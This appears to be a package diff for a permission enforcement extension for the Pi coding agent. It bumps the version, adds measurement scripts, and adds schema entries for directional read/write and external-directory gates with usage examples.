  Review-log values are shortened at `reviewLogFieldMaxWidth` (1000 characters by default), which bounds the file's growth but is a length cap, not redaction.
57
59
  See [Log file sensitivity](configuration.md#log-file-sensitivity) and [ADR 0010].
58
60
 
59
61
  [ADR 0010]: https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/decisions/0010-permission-log-secret-exposure.md
62
+ [ADR 0013]: https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/decisions/0013-permission-policy-model.md
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gotgenes/pi-permission-system",
3
- "version": "27.0.0",
3
+ "version": "27.1.0",
4
4
  "description": "Permission enforcement extension for the Pi coding agent.",
5
5
  "type": "module",
6
6
  "exports": {
@@ -89,6 +89,8 @@
89
89
  "test": "vitest run",
90
90
  "test:watch": "vitest",
91
91
  "verify:public-types": "bash scripts/verify-public-types.sh",
92
+ "measure:core-coverage": "node scripts/measure-core-coverage.mjs",
93
+ "measure:wrapper-transparency": "node scripts/measure-wrapper-transparency.mjs",
92
94
  "lint:md": "rumdl check *.md docs/**/*.md",
93
95
  "lint": "biome check . && eslint . && pnpm run lint:md"
94
96
  }
@@ -101,10 +101,55 @@
101
101
  },
102
102
  "permission": {
103
103
  "type": "object",
104
- "propertyNames": {
105
- "type": "string",
106
- "minLength": 1,
107
- "description": "A surface name or the universal fallback key '*'."
104
+ "properties": {
105
+ "path_read": {
106
+ "description": "Cross-cutting gate for reading a file, by path pattern. The useful directional grant.",
107
+ "markdownDescription": "Cross-cutting gate for **reading** a file, matched by path pattern across all path-aware tools.\n\nThis is the directional key worth granting: `\"path_read\": { \"~/dev/*\": \"allow\" }` permits reads without permitting writes.\n\nA bare `\"path\"` key is sugar that expands into this key **and** `path_write`, with its entries placed first — so an explicit `path_read` entry always has the final say, whatever the key order in the file.",
108
+ "anyOf": [
109
+ {
110
+ "$ref": "#/$defs/permissionState"
111
+ },
112
+ {
113
+ "$ref": "#/$defs/permissionMap"
114
+ }
115
+ ]
116
+ },
117
+ "path_write": {
118
+ "description": "Cross-cutting gate for writing a file, by path pattern. Earns its keep as a restriction.",
119
+ "markdownDescription": "Cross-cutting gate for **writing** a file, matched by path pattern across all path-aware tools.\n\nThis key earns its keep as a *restriction* rather than a grant: `\"path_write\": { \"*\": \"deny\" }` is a coherent read-only-agent posture. A `\"path_write\": \"allow\"` on its own does not silence an `edit`, which also reads — grant `path_read` too, or use the bare `\"path\"` key.",
120
+ "anyOf": [
121
+ {
122
+ "$ref": "#/$defs/permissionState"
123
+ },
124
+ {
125
+ "$ref": "#/$defs/permissionMap"
126
+ }
127
+ ]
128
+ },
129
+ "external_directory_read": {
130
+ "description": "Boundary gate for reading outside the working directory. The relief most asks want.",
131
+ "markdownDescription": "Boundary gate for **reading** a path outside the session working directory.\n\nThe one-line grant for an external root: `\"external_directory_read\": { \"~/dev/*\": \"allow\" }` silences repeated read prompts on a directory outside the tree while a write to the same path still prompts. No parallel `path_read` entry is needed.",
132
+ "anyOf": [
133
+ {
134
+ "$ref": "#/$defs/permissionState"
135
+ },
136
+ {
137
+ "$ref": "#/$defs/permissionMap"
138
+ }
139
+ ]
140
+ },
141
+ "external_directory_write": {
142
+ "description": "Boundary gate for writing outside the working directory.",
143
+ "markdownDescription": "Boundary gate for **writing** to a path outside the session working directory.\n\nA bare `\"external_directory\"` key is sugar that expands into this key and `external_directory_read`; write this one only to give the two directions different answers.",
144
+ "anyOf": [
145
+ {
146
+ "$ref": "#/$defs/permissionState"
147
+ },
148
+ {
149
+ "$ref": "#/$defs/permissionMap"
150
+ }
151
+ ]
152
+ }
108
153
  },
109
154
  "additionalProperties": {
110
155
  "anyOf": [
@@ -148,6 +193,9 @@
148
193
  "external_directory": {
149
194
  "*": "ask",
150
195
  "~/.cargo/registry/*": "allow"
196
+ },
197
+ "external_directory_read": {
198
+ "~/dev/*": "allow"
151
199
  }
152
200
  }
153
201
  ]